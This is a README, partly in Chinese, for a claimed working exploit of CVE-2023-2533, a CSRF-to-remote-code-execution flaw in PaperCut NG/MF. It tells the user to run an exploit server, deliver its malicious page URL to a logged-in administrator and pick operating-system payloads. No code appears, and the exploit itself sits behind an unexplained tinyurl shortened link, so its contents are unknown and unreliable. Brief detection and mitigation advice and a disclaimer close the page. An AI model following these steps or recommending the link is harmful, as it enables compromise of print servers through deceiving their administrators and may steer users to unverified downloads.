CVE-2023-2533 PoC — PaperCut NG 跨站请求伪造漏洞

介绍

# CVE-2023-2533 PaperCut NG/MF Exploit

## Overview
CVE-2023-2533 is a critical Cross-Site Request Forgery (CSRF) vulnerability in PaperCut NG/MF print management software, affecting versions up to and including 22.0.10. This exploit enables remote code execution (RCE) by tricking an authenticated administrator into interacting with a malicious webpage during an active session in the PaperCut admin interface.

**CVSSv3 Score**: 8.8  
**Patched**: June 9, 2023  
**Affected Versions**: <= 22.0.10 (Build 65996)

**Note**: This exploit is fully functional and has been tested in controlled environments. Use it responsibly and only on systems where you have explicit permission.


## Requirements
- Python 3.8 or higher  
- Access to a vulnerable PaperCut NG/MF server (version <= 22.0.10)  
- An active admin session on the target server  

## Setup
1. Install dependencies:  
   ```
   pip install -r requirements.txt
   ```
2. Update the target server URL in `exploit.py` (e.g., `http://papercut-server:9191`).  
3. (Optional) Customize the payload in the `payloads/` directory to suit your needs.  

## Exploit
[href](https://tinyurl.com/46k5365y)

## Usage
1. Launch the exploit server:  
   ```
   python3 exploit.py
   ```
2. The server hosts a malicious page at `http://<your-ip>:5000/exploit.html`.  
3. Deliver the URL to an admin.  
4. When the admin visits the page, the exploit automatically sends forged requests.  
5. Monitor the server logs for confirmation of successful execution.  


## Payloads
The `payloads/` directory includes pre-built payloads for various operating systems.
You can replace these with your own payloads as needed.

## Detection and Mitigation
- **Detection**: Look for unusual admin activity in server logs, such as unexpected file uploads or configuration changes.  
- **Mitigation**: Upgrade PaperCut NG/MF to the latest version as per the official advisory. Implement robust CSRF protections and train admins to recognize phishing attempts.

## Disclaimer
This exploit is provided for **educational and testing purposes only**. Unauthorized use against systems without explicit permission is illegal and unethical. The author is not responsible for any damage or misuse of this tool.

文件快照

备注